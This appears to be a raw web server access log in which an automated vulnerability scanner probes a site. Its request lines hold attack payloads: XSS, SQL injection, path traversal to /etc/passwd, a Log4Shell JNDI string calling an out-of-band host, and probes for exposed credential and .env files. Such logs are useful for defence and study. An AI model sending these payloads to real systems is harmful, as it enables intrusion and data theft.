[09/Jan/2026:10:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927384360 HTTP/1.1" -
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dolphinscheduler/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //old HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Upload/test/380CyE6XljqDuiNfGxqHuXDoglG.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/info.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/schema.rb HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /data/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dc2/admin/auth.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/0 HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/authentication_page.htm HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //content-elements/job-ad/index.html?reloaded&sort=date_desc&page=1\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /avatar_uploader.pages.inc?file=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/eatery/nav.php?-Menu-=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials/config.json HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-media-gallery-pro/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /member/authenticate HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/settings.py HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dotAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/composer/installed.json HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /page/exportImport/uploadOperation.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons HTTP/1.1" 244
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.DS_Store HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/down.php?dw=config/config.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logo/380CxstxciDFAM7XLzF5e1Zk7ny.txt HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doku.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /confluence/plugins/servlet/oauth/view-consumer-info HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dockercfg HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Access/default.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DxPlanning/WebBooking/Version HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mysql_config.ini HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/install.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dwr/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.prod.local HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ContentCentral/login.aspx/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str(98989*44313),null HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/main?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/config.rb HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/_catalog HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.yml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v12/setup/temp/admin.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/submitLogin HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_config.properties HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/login.html HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /druid/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mobile/plugin/VerifyQuickLogin.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cxcum/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/views/ajax/autocomplete/user/a HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(999999999))) HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pro/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsonapi/user/user HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/City_ajax.aspx?CityId=33'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','380CxvcUL3OWUpHBtDa1u1MERzr')),2-- HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /easy/app/Account/Login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /WebInterface/function/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?mod=system&op=orgtree&do=orgtree HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?act=login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/portalTsLogin/utils/getE9DevelopAllNameValue2?fileName=portaldev_%2f%2e%2e%2fweaver%2eproperties HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_notes/dwsync.xml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /domcfg.nsf HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-cloud.yml HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "@tls-sni: trade.kingston.com.hk:443" 226
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.dockerfile HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/customization/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /showfile.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/development.log HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /schema.rb HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ssh HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /final/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.editorconfig HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.ini HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cosmobdf.cgi?function=1 HTTP/1.1" 199
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/connector.minimal.php?cmd=file&target=l1_Li8vLi4vLy4uLy8uLi8vLi4vLy4uLy8uLi9ldGMvcGFzc3dk&download=1 HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CHANGELOG.txt HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /darkstat/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pretty HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/1 HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manifest.json HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /django/settings.py HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/exportImport/fileTransfer/380Cy3HzHHGIYNZhrY6DdJcdyyB.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php?profile=default HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-832%7D$%7B%3A-675%7D.$%7BhostName%7D.search.d5g6sfahausljekepl20dm6ho871oigsp.oast.site%7D HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dompdf/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elmah HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/elfinder.min.js HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /e/ViewImg/index.html?url=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/ HTTP/1.1" 199
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/emq.ico HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EMSWebClient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /internal/security/login HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /emswebclient/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v4/auth HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /environment.rb HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /token HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/login.do HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cities?country=/../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRESENTATION/EPSONCONNECT HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/home HTTP/1.1" 199
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /episerver/cms HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.docker/config.json HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop.php?search=%22/%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.production.local HTTP/1.1" 196
[09/Jan/2026:10:51:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/aprocess.php HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 - - "GET / HTTP/1.0" 362
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fpui/jsp/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRESENTATION/HTML/TOP/PRTINFO.HTML HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/main-cgi?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eos/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webalizer/ HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php_errors.log HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.esmtprc HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxitAfaiFNlUeNvm1UB40OeR HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /' HTTP/1.1" 196
[09/Jan/2026:10:51:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
